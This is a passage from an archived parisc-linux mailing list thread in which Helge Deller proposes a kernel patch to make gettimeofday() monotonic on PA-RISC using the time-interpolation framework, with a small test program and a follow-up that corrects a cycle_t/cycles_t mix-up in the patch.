-	prev_tick = next_tick - cpt;
-
-	/* Assume Scenario 1: "now" is later than prev_tick.  */
-	elapsed_cycles = now - prev_tick;
-
-/* aproximate HZ with shifts. Intended math is "(elapsed/clocktick) > HZ" */
-#if HZ == 1000
-	if (elapsed_cycles > (cpt << 10) )
-#elif HZ == 250
-	if (elapsed_cycles > (cpt << 8) )
-#elif HZ == 100
-	if (elapsed_cycles > (cpt << 7) )
-#else
-#warn WTF is HZ set to anyway?
-	if (elapsed_cycles > (HZ * cpt) )
-#endif
-	{
-		/* Scenario 3: clock ticks are missing. */
-		printk (KERN_CRIT "gettimeoffset(CPU %ld): missing %ld ticks!"
-			" cycles %lX prev/now/next %lX/%lX/%lX  clock %lX\n",
-			cpuid, elapsed_cycles / cpt,
-			elapsed_cycles, prev_tick, now, next_tick, cpt);
-	}
-
-	/* FIXME: Can we improve the precision? Not with PAGE0. */
-	usec = (elapsed_cycles * 10000) / PAGE0->mem_10msec;
-	return usec;
-#else
-	return 0;
-#endif
-}
-
-void
-do_gettimeofday (struct timeval *tv)
-{
-	unsigned long flags, seq, usec, sec;
-
-	/* Hold xtime_lock and adjust timeval.  */
-	do {
-		seq = read_seqbegin_irqsave(&xtime_lock, flags);
-		usec = gettimeoffset();
-		sec = xtime.tv_sec;
-		usec += (xtime.tv_nsec / 1000);
-	} while (read_seqretry_irqrestore(&xtime_lock, seq, flags));
-
-	/* Move adjusted usec's into sec's.  */
-	while (usec >= USEC_PER_SEC) {
-		usec -= USEC_PER_SEC;
-		++sec;
-	}
-
-	/* Return adjusted result.  */
-	tv->tv_sec = sec;
-	tv->tv_usec = usec;
-}
-
-EXPORT_SYMBOL(do_gettimeofday);
-
-int
-do_settimeofday (struct timespec *tv)
-{
-	time_t wtm_sec, sec = tv->tv_sec;
-	long wtm_nsec, nsec = tv->tv_nsec;
-
-	if ((unsigned long)tv->tv_nsec >= NSEC_PER_SEC)
-		return -EINVAL;
-
-	write_seqlock_irq(&xtime_lock);
-	{
-		/*
-		 * This is revolting. We need to set "xtime"
-		 * correctly. However, the value in this location is
-		 * the value at the most recent update of wall time.
-		 * Discover what correction gettimeofday would have
-		 * done, and then undo it!
-		 */
-		nsec -= gettimeoffset() * 1000;
-
-		wtm_sec  = wall_to_monotonic.tv_sec + (xtime.tv_sec - sec);
-		wtm_nsec = wall_to_monotonic.tv_nsec + (xtime.tv_nsec - nsec);
-
-		set_normalized_timespec(&xtime, sec, nsec);
-		set_normalized_timespec(&wall_to_monotonic, wtm_sec, wtm_nsec);
-
-		ntp_clear();
-	}
-	write_sequnlock_irq(&xtime_lock);
-	clock_was_set();
-	return 0;
-}
-EXPORT_SYMBOL(do_settimeofday);
 
 /*
  * XXX: We can do better than this.
@@ -323,13 +229,24 @@ void __init time_init(void)
 		write_seqlock_irqsave(&xtime_lock, flags);
 		xtime.tv_sec = tod_data.tod_sec;
 		xtime.tv_nsec = tod_data.tod_usec * 1000;
-		set_normalized_timespec(&wall_to_monotonic,
-		                        -xtime.tv_sec, -xtime.tv_nsec);
 		write_sequnlock_irqrestore(&xtime_lock, flags);
 	} else {
 		printk(KERN_ERR "Error reading tod clock\n");
 	        xtime.tv_sec = 0;
 		xtime.tv_nsec = 0;
 	}
+
+	mfctl16_interpolator.frequency = 100 * PAGE0->mem_10msec;
+	mfctl16_interpolator.drift = -1;
+#ifdef CONFIG_SMP
+	if (!nojitter) mfctl16_interpolator.jitter = 1;
+#endif
+	register_time_interpolator(&mfctl16_interpolator);
+
+	/*
+	 * Initialize wall_to_monotonic such that adding it to xtime will yield zero, the
+	 * tv_nsec field must be normalized (i.e., 0 <= nsec < NSEC_PER_SEC).
+	 */
+	set_normalized_timespec(&wall_to_monotonic, -xtime.tv_sec, -xtime.tv_nsec);
 }
 
diff --git a/include/linux/timex.h b/include/linux/timex.h
index db501dc..deb4369 100644
--- a/include/linux/timex.h
+++ b/include/linux/timex.h
@@ -255,11 +255,11 @@ struct time_interpolator {
 	u8 jitter;			/* if set compensate for fluctuations */
 	u32 nsec_per_cyc;		/* set by register_time_interpolator() */
 	void *addr;			/* address of counter or function */
-	u64 mask;			/* mask the valid bits of the counter */
+	cycles_t mask;			/* mask the valid bits of the counter */
 	unsigned long offset;		/* nsec offset at last update of interpolator */
-	u64 last_counter;		/* counter value in units of the counter at last update */
-	u64 last_cycle;			/* Last timer value if TIME_SOURCE_JITTER is set */
-	u64 frequency;			/* frequency in counts/second */
+	cycles_t last_counter;		/* counter value in units of the counter at last update */
+	cycles_t last_cycle;		/* Last timer value if TIME_SOURCE_JITTER is set */
+	cycles_t frequency;		/* frequency in counts/second */
 	long drift;			/* drift in parts-per-million (or -1) */
 	unsigned long skips;		/* skips forward */
 	unsigned long ns_skipped;	/* nanoseconds skipped */
diff --git a/kernel/timer.c b/kernel/timer.c
index feddf81..08242f8 100644
--- a/kernel/timer.c
+++ b/kernel/timer.c
@@ -1625,7 +1625,7 @@ struct time_interpolator *time_interpola
 static struct time_interpolator *time_interpolator_list __read_mostly;
 static DEFINE_SPINLOCK(time_interpolator_lock);
 
-static inline u64 time_interpolator_get_cycles(unsigned int src)
+static inline cycle_t time_interpolator_get_cycles(unsigned int src)
 {
 	unsigned long (*x)(void);
 
@@ -1645,14 +1645,14 @@ static inline u64 time_interpolator_get_
 	}
 }
 
-static inline u64 time_interpolator_get_counter(int writelock)
+static inline cycle_t time_interpolator_get_counter(int writelock)
 {
 	unsigned int src = time_interpolator->source;
 
 	if (time_interpolator->jitter)
 	{
-		u64 lcycle;
-		u64 now;
+		cycle_t lcycle;
+		cycle_t now;
 
 		do {
 			lcycle = time_interpolator->last_cycle;
@@ -1701,7 +1701,7 @@ unsigned long time_interpolator_get_offs
 
 void time_interpolator_update(long delta_nsec)
 {
-	u64 counter;
+	cycle_t counter;
 	unsigned long offset;
 
 	/* If there is no time interpolator set up then do nothing */
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] [PATCH] fix gettimeofday() on parisc to be
	monotonic
Date: Thu, 21 Dec 2006 05:09:09 +0100
Lines: 339
Approved: news@gmane.org
Message-ID: <200612210509.09787.deller__47972.40449484$1416624238$gmane$org@gmx.de>
References: <200612210450.55640.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624238 21871 80.91.229.3 (22 Nov 2014 02:43:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Dec 2006 04:09:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 21 Dec 2006 05:09:23 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0CA867D8C8;
	Wed, 20 Dec 2006 21:09:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32304-08; Wed, 20 Dec 2006 21:09:19 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C8D217D8C9;
	Wed, 20 Dec 2006 21:09:17 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C5A987D8B2
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Dec 2006 21:09:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32291-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Dec 2006 21:09:13 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 92CF17D8B1
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Dec 2006 21:09:12 -0700 (MST)
Original-Received: (qmail invoked by alias); 21 Dec 2006 04:09:11 -0000
Original-Received: from mnhm-590c0bef.pool.einsundeins.de (EHLO p100.box) [89.12.11.239]
	by mail.gmx.net (mp041) with SMTP; 21 Dec 2006 05:09:11 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
In-Reply-To: <200612210450.55640.deller@gmx.de>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zD+5cfMtf2I/GoicY2xoQFtwdWxlc5bi
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24165

Sorry.... idea is correct (I think), but patch is wrong. 
kernel/timer.c still uses "u64" in my patch. It's easy to mix up "cycle_t" and "cycles_t".

Still needs more testing...

Helge

On Thu Dec 21 2006, Helge Deller wrote:
> I would like to get your feedback on the attached patch.
> 
> While testing the Linux Test Project gettimeofday02 testcase, I found that our gettimeofday() implementation is not monotonic.
> I know there was much work on gettimeofday() a few monthes back, but still we have problems.
> Just try this stripped-down testcase yourself:
> 
> /*
>  *      based on gettimeofday02.c  from LTP
>  * DESCRIPTION
>  *      Check if gettimeofday is monotonous
>  *
>  * ALGORITHM
>  *      Call gettimeofday() to get a t1 (fist value)
>  *      call it again to get t2, see if t2 < t1, set t2 = t1, repeat 
>  */
> 
> #include <stdio.h>
> #include <sys/time.h>
> 
> int main(int ac, char **av)
> {
>         struct timeval tv1,tv2;
> 
>         fprintf(stderr, "Start of test....\n");
>         gettimeofday(&tv1,NULL);
>         while (1) {
>                 gettimeofday(&tv2,NULL);
>                 if (    (tv2.tv_usec < tv1.tv_usec) &&
>                         (tv2.tv_sec <= tv1.tv_sec)
>                         ) {
>                         fprintf(stderr,"Time is going backwards (old %d.%d vs new %d.%d!)\n",tv1.tv_sec,tv1.tv_usec,tv2.tv_sec,tv2.tv_usec);
>                         return(1);
>                 }
>                 tv1=tv2;
>         }
>         return 0;
> }
> 
> 
> The patch below fixes this nicely for PARISC-Linux, while it removes our own implementation and uses the existing CONFIG_TIME_INTERPOLATION framework.
> AFAICS up to now it's only used by IA64 and SPARC64.
> 
> The things where I wanted to get your feedback on is, that on a 32bit HPPA Kernel we don't allow cmpxchg() with a 8-byte variable, which is used in the generic code in kernel/timer.c line 1674.
> To make my implementation work, I changed some "u64" variables/struct members in the "struct time_interpolator" in include/linux/timex.h  to "cycles_t" instead.
> "cycles_t" is defined in include/asm/timex.h mostly as "unsigned long", which is what the default platform width is (e.g. 64bit on 64bit platforms) and get_cycles() is exactly the input-value for the time interpolation framework.
> As such I think it just makes sense to use this type as well all over the code.
> For PARISC this chage gives 8bytes on HPPA64 and 4bytes on HPPA32, and so we can use the current implementation with the cmpxchg() in kernel/timer.c.
> 
> What do you think ?
> Will this be acceptable by Linus/others ?
> It works on my 32bit hppa.
> 
> Patch is here:
> 
> diffstat:
>  arch/parisc/Kconfig       |    4 +
>  arch/parisc/kernel/time.c |  151 ++++++++++------------------------------------
>  include/linux/timex.h     |    8 +-
>  kernel/timer.c            |   10 +--
>  4 files changed, 47 insertions(+), 126 deletions(-)
> 
> 
> diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
> index 848a67a..e85c931 100644
> --- a/arch/parisc/Kconfig
> +++ b/arch/parisc/Kconfig
> @@ -50,6 +50,10 @@ config GENERIC_CALIBRATE_DELAY
>  	bool
>  	default y
>  
> +config TIME_INTERPOLATION
> +	bool
> +	default y
> +
>  config TIME_LOW_RES
>  	bool
>  	depends on SMP
> diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
> index bad7d1e..56a246b 100644
> --- a/arch/parisc/kernel/time.c
> +++ b/arch/parisc/kernel/time.c
> @@ -34,6 +34,27 @@
>  
>  static unsigned long clocktick __read_mostly;	/* timer cycles per tick */
>  
> +static struct time_interpolator mfctl16_interpolator = {
> +	.shift = 16,
> +	.mask = 0UL-1,
> +	.source = TIME_SOURCE_CPU
> +};
> +
> +
> +static int nojitter;
> +
> +static int __init nojitter_setup(char *str)
> +{
> +	nojitter = 1;
> +	printk("Jitter checking for ctl16 timers disabled\n");
> +	return 1;
> +}
> +
> +__setup("nojitter", nojitter_setup);
> +
> +
> +
> +
>  /*
>   * We keep time on PA-RISC Linux by using the Interval Timer which is
>   * a pair of registers; one is read-only and one is write-only; both
> @@ -172,121 +193,6 @@ unsigned long profile_pc(struct pt_regs 
>  EXPORT_SYMBOL(profile_pc);
>  
>  
> -/*
> - * Return the number of micro-seconds that elapsed since the last
> - * update to wall time (aka xtime).  The xtime_lock
> - * must be at least read-locked when calling this routine.
> - */
> -static inline unsigned long gettimeoffset (void)
> -{
> -#ifndef CONFIG_SMP
> -	/*
> -	 * FIXME: This won't work on smp because jiffies are updated by cpu 0.
> -	 *    Once parisc-linux learns the cr16 difference between processors,
> -	 *    this could be made to work.
> -	 */
> -	unsigned long now;
> -	unsigned long prev_tick;
> -	unsigned long next_tick;
> -	unsigned long elapsed_cycles;
> -	unsigned long usec;
> -	unsigned long cpuid = smp_processor_id();
> -	unsigned long cpt = clocktick;
> -
> -	next_tick = cpu_data[cpuid].it_value;
> -	now = mfctl(16);	/* Read the hardware interval timer.  */
> -
> -	prev_tick = next_tick - cpt;
> -
> -	/* Assume Scenario 1: "now" is later than prev_tick.  */
> -	elapsed_cycles = now - prev_tick;
> -
> -/* aproximate HZ with shifts. Intended math is "(elapsed/clocktick) > HZ" */
> -#if HZ == 1000
> -	if (elapsed_cycles > (cpt << 10) )
> -#elif HZ == 250
> -	if (elapsed_cycles > (cpt << 8) )
> -#elif HZ == 100
> -	if (elapsed_cycles > (cpt << 7) )
> -#else
> -#warn WTF is HZ set to anyway?
> -	if (elapsed_cycles > (HZ * cpt) )
> -#endif
> -	{
> -		/* Scenario 3: clock ticks are missing. */
> -		printk (KERN_CRIT "gettimeoffset(CPU %ld): missing %ld ticks!"
> -			" cycles %lX prev/now/next %lX/%lX/%lX  clock %lX\n",
> -			cpuid, elapsed_cycles / cpt,
> -			elapsed_cycles, prev_tick, now, next_tick, cpt);
> -	}
> -
> -	/* FIXME: Can we improve the precision? Not with PAGE0. */
> -	usec = (elapsed_cycles * 10000) / PAGE0->mem_10msec;
> -	return usec;
> -#else
> -	return 0;
> -#endif
> -}
> -
> -void
> -do_gettimeofday (struct timeval *tv)
> -{
> -	unsigned long flags, seq, usec, sec;
> -
> -	/* Hold xtime_lock and adjust timeval.  */
> -	do {
> -		seq = read_seqbegin_irqsave(&xtime_lock, flags);
> -		usec = gettimeoffset();
> -		sec = xtime.tv_sec;
> -		usec += (xtime.tv_nsec / 1000);
> -	} while (read_seqretry_irqrestore(&xtime_lock, seq, flags));
> -
> -	/* Move adjusted usec's into sec's.  */
> -	while (usec >= USEC_PER_SEC) {
> -		usec -= USEC_PER_SEC;
> -		++sec;
> -	}
> -
> -	/* Return adjusted result.  */
> -	tv->tv_sec = sec;
> -	tv->tv_usec = usec;
> -}
> -
> -EXPORT_SYMBOL(do_gettimeofday);
> -
> -int
> -do_settimeofday (struct timespec *tv)
> -{
> -	time_t wtm_sec, sec = tv->tv_sec;
> -	long wtm_nsec, nsec = tv->tv_nsec;
> -
> -	if ((unsigned long)tv->tv_nsec >= NSEC_PER_SEC)
> -		return -EINVAL;
> -
> -	write_seqlock_irq(&xtime_lock);
> -	{
> -		/*
> -		 * This is revolting. We need to set "xtime"
> -		 * correctly. However, the value in this location is
> -		 * the value at the most recent update of wall time.
> -		 * Discover what correction gettimeofday would have
> -		 * done, and then undo it!
> -		 */
> -		nsec -= gettimeoffset() * 1000;
> -
> -		wtm_sec  = wall_to_monotonic.tv_sec + (xtime.tv_sec - sec);
> -		wtm_nsec = wall_to_monotonic.tv_nsec + (xtime.tv_nsec - nsec);
> -
> -		set_normalized_timespec(&xtime, sec, nsec);
> -		set_normalized_timespec(&wall_to_monotonic, wtm_sec, wtm_nsec);
> -
> -		ntp_clear();
> -	}
> -	write_sequnlock_irq(&xtime_lock);
> -	clock_was_set();
> -	return 0;
> -}
> -EXPORT_SYMBOL(do_settimeofday);
>  
>  /*
>   * XXX: We can do better than this.
> @@ -323,13 +229,24 @@ void __init time_init(void)
>  		write_seqlock_irqsave(&xtime_lock, flags);
>  		xtime.tv_sec = tod_data.tod_sec;
>  		xtime.tv_nsec = tod_data.tod_usec * 1000;
> -		set_normalized_timespec(&wall_to_monotonic,
> -		                        -xtime.tv_sec, -xtime.tv_nsec);
>  		write_sequnlock_irqrestore(&xtime_lock, flags);
>  	} else {
>  		printk(KERN_ERR "Error reading tod clock\n");
>  	        xtime.tv_sec = 0;
>  		xtime.tv_nsec = 0;
>  	}
> +
> +	mfctl16_interpolator.frequency = 100 * PAGE0->mem_10msec;
> +	mfctl16_interpolator.drift = -1;
> +#ifdef CONFIG_SMP
> +	if (!nojitter) mfctl16_interpolator.jitter = 1;
> +#endif
> +	register_time_interpolator(&mfctl16_interpolator);
> +
> +	/*
> +	 * Initialize wall_to_monotonic such that adding it to xtime will yield zero, the
> +	 * tv_nsec field must be normalized (i.e., 0 <= nsec < NSEC_PER_SEC).
> +	 */
> +	set_normalized_timespec(&wall_to_monotonic, -xtime.tv_sec, -xtime.tv_nsec);
>  }
>  
> diff --git a/include/linux/timex.h b/include/linux/timex.h
> index db501dc..deb4369 100644
> --- a/include/linux/timex.h
> +++ b/include/linux/timex.h
> @@ -255,11 +255,11 @@ struct time_interpolator {
>  	u8 jitter;			/* if set compensate for fluctuations */
>  	u32 nsec_per_cyc;		/* set by register_time_interpolator() */
>  	void *addr;			/* address of counter or function */
> -	u64 mask;			/* mask the valid bits of the counter */
> +	cycles_t mask;			/* mask the valid bits of the counter */
>  	unsigned long offset;		/* nsec offset at last update of interpolator */
> -	u64 last_counter;		/* counter value in units of the counter at last update */
> -	u64 last_cycle;			/* Last timer value if TIME_SOURCE_JITTER is set */
> -	u64 frequency;			/* frequency in counts/second */
> +	cycles_t last_counter;		/* counter value in units of the counter at last update */
> +	cycles_t last_cycle;		/* Last timer value if TIME_SOURCE_JITTER is set */
> +	cycles_t frequency;		/* frequency in counts/second */
>  	long drift;			/* drift in parts-per-million (or -1) */
>  	unsigned long skips;		/* skips forward */
>  	unsigned long ns_skipped;	/* nanoseconds skipped */
> diff --git a/kernel/timer.c b/kernel/timer.c
> index feddf81..08242f8 100644
> --- a/kernel/timer.c
> +++ b/kernel/timer.c
> @@ -1625,7 +1625,7 @@ struct time_interpolator *time_interpola
>  static struct time_interpolator *time_interpolator_list __read_mostly;
>  static DEFINE_SPINLOCK(time_interpolator_lock);
>  
> -static inline u64 time_interpolator_get_cycles(unsigned int src)
> +static inline cycle_t time_interpolator_get_cycles(unsigned int src)
>  {
>  	unsigned long (*x)(void);
>  
> @@ -1645,14 +1645,14 @@ static inline u64 time_interpolator_get_
>  	}
>  }
>  
> -static inline u64 time_interpolator_get_counter(int writelock)
> +static inline cycle_t time_interpolator_get_counter(int writelock)
>  {
>  	unsigned int src = time_interpolator->source;
>  
>  	if (time_interpolator->jitter)
>  	{
> -		u64 lcycle;
> -		u64 now;
> +		cycle_t lcycle;
> +		cycle_t now;
>  
>  		do {
>  			lcycle = time_interpolator->last_cycle;
> @@ -1701,7 +1701,7 @@ unsigned long time_interpolator_get_offs
>  
>  void time_interpolator_update(long delta_nsec)
>  {
> -	u64 counter;
> +	cycle_t counter;
>  	unsigned long offset;
>  
>  	/* If there is no time interpolator set up then do nothing */
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] [PATCH] fix gettimeofday() on parisc to be
	monotonic
Date: Thu, 21 Dec 2006 10:05:03 +0100
Lines: 313
Approved: news@gmane.org
Message-ID: <200612211005.04078.deller__36646.8277680271$1416624238$gmane$org@gmx.de>
References: <200612210450.55640.deller@gmx.de>
	<200612210509.09787.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624238 21874 80.91.229.3 (22 Nov 2014 02:43:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Dec 2006 09:05:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx007) with SMTP; 21 Dec 2006 10:05:20 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D0547D8F2;
	Thu, 21 Dec 2006 02:05:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07511-10; Thu, 21 Dec 2006 02:05:15 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C64457D8F3;
	Thu, 21 Dec 2006 02:05:12 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DCEF27D8D7
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Dec 2006 02:05:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07583-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Dec 2006 02:05:08 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id AC6EF7D8C8
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Dec 2006 02:05:07 -0700 (MST)
Original-Received: (qmail invoked by alias); 21 Dec 2006 09:05:06 -0000
Original-Received: from mnhm-590c0bef.pool.einsundeins.de (EHLO p100.box) [89.12.11.239]
	by mail.gmx.net (mp031) with SMTP; 21 Dec 2006 10:05:06 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
In-Reply-To: <200612210509.09787.deller@gmx.de>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZXy9ctgmbGI0QqaDYmRnhiBncmZ1Zpyl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24166

Updated and working patch below...

On Thu Dec 21 2006, Helge Deller wrote:
> Sorry.... idea is correct (I think), but patch is wrong. 
> kernel/timer.c still uses "u64" in my patch. It's easy to mix up "cycle_t" and "cycles_t".
> 
> Still needs more testing...
> 
> Helge
> 
> On Thu Dec 21 2006, Helge Deller wrote:
> > I would like to get your feedback on the attached patch.
> > 
> > While testing the Linux Test Project gettimeofday02 testcase, I found that our gettimeofday() implementation is not monotonic.
> > I know there was much work on gettimeofday() a few monthes back, but still we have problems.
> > Just try this stripped-down testcase yourself:
> > 
> > /*
> >  *      based on gettimeofday02.c  from LTP
> >  * DESCRIPTION
> >  *      Check if gettimeofday is monotonous
> >  *
> >  * ALGORITHM
> >  *      Call gettimeofday() to get a t1 (fist value)
> >  *      call it again to get t2, see if t2 < t1, set t2 = t1, repeat 
> >  */
> > 
> > #include <stdio.h>
> > #include <sys/time.h>
> > 
> > int main(int ac, char **av)
> > {
> >         struct timeval tv1,tv2;
> > 
> >         fprintf(stderr, "Start of test....\n");
> >         gettimeofday(&tv1,NULL);
> >         while (1) {
> >                 gettimeofday(&tv2,NULL);
> >                 if (    (tv2.tv_usec < tv1.tv_usec) &&
> >                         (tv2.tv_sec <= tv1.tv_sec)
> >                         ) {
> >                         fprintf(stderr,"Time is going backwards (old %d.%d vs new %d.%d!)\n",tv1.tv_sec,tv1.tv_usec,tv2.tv_sec,tv2.tv_usec);
> >                         return(1);
> >                 }
> >                 tv1=tv2;
> >         }
> >         return 0;
> > }
> > 
> > 
> > The patch below fixes this nicely for PARISC-Linux, while it removes our own implementation and uses the existing CONFIG_TIME_INTERPOLATION framework.
> > AFAICS up to now it's only used by IA64 and SPARC64.
> > 
> > The things where I wanted to get your feedback on is, that on a 32bit HPPA Kernel we don't allow cmpxchg() with a 8-byte variable, which is used in the generic code in kernel/timer.c line 1674.
